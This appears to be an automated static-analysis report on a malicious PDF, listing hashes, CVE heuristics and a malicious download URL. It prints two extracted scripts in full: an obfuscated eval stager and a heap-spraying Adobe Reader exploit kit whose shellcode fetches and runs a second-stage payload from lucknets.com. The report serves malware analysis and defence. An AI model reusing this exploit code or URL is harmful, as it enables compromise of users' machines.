Malicious PDF — malware analysis report

Static analysis result for SHA-256 e0e232fb738db8e9…

MALICIOUS

PDF

3.3 KB Created: 2010-02-11 07:29:20 Authoring application: zt9ab06 First seen: 2026-05-10
MD5: 3d90793ab4974798464236d745e25ad5 SHA-1: 565ba0091416f5b46a825f0a0a32cbab9ac9340e SHA-256: e0e232fb738db8e92473ec55efbeb4b68a489e124e42843ddecac97ed767a4cb
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

The PDF file contains embedded JavaScript that exploits CVE-2009-0927 and CVE-2007-5659. Static triage identified a suspicious extracted artifact named 'legacy_pdfkit_stage_000.js' which was detected by ClamAV as 'Js.Exploit.Shellcode-18'. This indicates the script is designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lucknets.com/durex/load.php?e=22 Referenced by PDF JavaScript
🗂 Part of campaign: lucknets.com 6 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0028_000.js pdf-javascript-stream PDF /JS object 28 at offset 0x88 763 bytes
SHA-256: 15ae8e4a72fb070197f06521288d14680d52524117e7a80b7195cbd2c533b97b
Preview script
First 1,000 lines of the extracted script
function uisdya(djkyr3, __odf)
	{
		var HK = djkyr3.length;
		var JKL = __odf.length;
		var wqod = "";
    
		for(var i=0; i < HK; i+=JKL) {

			var Ld = djkyr3.substr(i, JKL);
			if(Ld.length == JKL){

				for(var j in __odf)
				{
					wqod += Ld.substr(__odf[j],1);
				}
			}
			else {
    			wqod += Ld;	
			}
		}
		return wqod;
	}

	var wdqk = app;
	var dsjkl = 'c975%1aefc663eaf5e958d'.substr(4,1);
	var dasi= wdqk[uisdya("aevl", [1,2,0])];
	var csxkh = new RegExp("ZKU", 'dddxagw'.substr(5,1));
	var hkja = dasi([uisdya("oo=", [1,0])]+[uisdya("ensupaec", [3,1,0,2])]);
	var wq = this[uisdya("fnio", [2,1,0])][uisdya("uahtro", [1,0])];

	jkx=wq[uisdya("erlpcae", [1,0])](csxkh, dsjkl);
	djkw = hkja(jkx);
	dasi(djkw);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x43D 4930 bytes
SHA-256: a5ed05998ee6c2b83a185975b507cd6d495d539ae96544639704f90442d3a634
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
app.alert(123 + ' its work!');    var nop = '';    var arry = new Array();  function fix_it(yarsp, len){    while (yarsp.length * 2 < len){      yarsp += yarsp;    }    yarsp = yarsp.substring(0, len / 2);    return yarsp;  }  var version = app.viewerVersion;  if (version > 8){    var payload = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u756C%u6B63%u656E%u7374%u632E%u6D6F%u642F%u7275%u7865%u6C2F%u616F%u2E64%u6870%u3F70%u3D65%u3232");     heapblock = nop + payload;    bigblock = unescape("%u0A0A%u0A0A");    headersize = 20;    spray = headersize + heapblock.length;    while (bigblock.length < spray)bigblock += bigblock;    fillblock = bigblock.substring(0, spray);    block = bigblock.substring(0, bigblock.length - spray);    while (block.length + spray < 0x40000)block = block + block + fillblock;    mem = new Array();    for (i = 0; i < 1400; i ++ )mem[i] = block + heapblock;    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;    util.printf("E000f", num);  }  if (version < 8){    var addkk = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u756C%u6B63%u656E%u7374%u632E%u6D6F%u642F%u7275%u7865%u6C2F%u616F%u2E64%u6870%u3F70%u3D65%u3232");    var mem_array = new Array();    var cc = 0x0c0c0c0c;    var addr = 0x400000;    var sc_len = addkk.length * 2;    var len = addr - (sc_len + 0x38);    var yarsp = unescape("%u9090%u9090");    yarsp = fix_it(yarsp, len);    var count2 = (cc - 0x400000) / addr;    for (var count = 0; count < count2; count ++ ){      mem_array[count] = yarsp + addkk;    }    var overflow = unescape("%u0c0c%u0c0c");    while (overflow.length < 44952)overflow += overflow;    this .collabStore = Collab.collectEmailInfo({      subj : "", msg : overflow    }    );  }  if (version < 9.1){    if (app.doc.Collab.getIcon){      var vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u756C%u6B63%u656E%u7374%u632E%u6D6F%u642F%u7275%u7865%u6C2F%u616F%u2E64%u6870%u3F70%u3D65%u3232");      var hWq500CN = vvpethya.length * 2;      var len = 0x400000 - (hWq500CN + 0x38);      var yarsp = unescape("%u9090%u9090");      yarsp = fix_it(yarsp, len);      var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;      for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){        arry[vqcQD96y] = yarsp + vvpethya;      }      var tUMhNbGw = unescape("	");      while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;      tUMhNbGw = "N." + tUMhNbGw;      app.doc.Collab.getIcon(tUMhNbGw);    }  }    app.alert(123);

Open this report in the interactive analyzer, or submit your own file for analysis.